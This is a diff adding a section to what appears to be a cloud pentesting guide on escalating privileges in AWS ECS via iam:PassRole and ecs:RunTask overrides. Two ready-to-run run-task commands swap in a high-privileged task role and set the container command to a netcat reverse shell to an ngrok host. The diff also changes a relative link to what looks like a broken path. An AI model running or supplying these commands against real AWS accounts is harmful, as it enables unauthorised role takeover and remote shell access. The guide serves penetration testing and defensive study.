Added a separate section about the ecs run-task privesc method, since it was only briefly mentioned in the iam:PassRole, (ecs:UpdateService|ecs:CreateService) section

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -79,6 +79,56 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 **Potential Impact:** Direct privesc to a different ECS role.
 
+### `iam:PassRole`,`ecs:RunTask`
+An attacker that has `iam:PassRole` and `ecs:RunTask` permissions can start a new ECS task with modified **execution role**, **task role** and container's **command** values.  The `ecs run-task` CLI command contains the `--overrides` flag which allows changing at runtime the `executionRoleArn`, `taskRoleArn` and container's `command` without touching the task definition.
+
+The specified IAM roles for `taskRoleArn` and `executionRoleArn` must trust/allow to be assumed by the `ecs-tasks.amazonaws.com` in its trust policy.  
+
+Also, the attacker needs to know:
+- ECS cluster name 
+- VPC Subnet
+- Security group (If no security group is specified the default one will be used) 
+- Task Definition Name and revision
+- Name of the Container 
+
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+  "containerOverrides": [
+    {
+      "name": <container-name>,
+      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+    }
+  ]
+}'
+```
+
+In the code snippet above an attacker overrides only `taskRoleArn` value. However, the attacker must have `iam:PassRole` permission over the `taskRoleArn` specified in the command and the `executionRoleArn` specified in the task definition for the attack to happen.
+
+If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.
+
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+  "executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+  "containerOverrides": [
+    {
+      "name": "<container-name>",
+      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+        }
+  ]
+}'
+```
+
+**Potential Impact:** Direct privesc to any ECS task role.
+
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
 Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
@@ -149,7 +199,7 @@ aws ecs run-task \
 
 This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
 This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
-You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
+You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](../Job/aws-ecs-privesc.md#privesc-to-node)).
 
 > [!WARNING]
 > This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.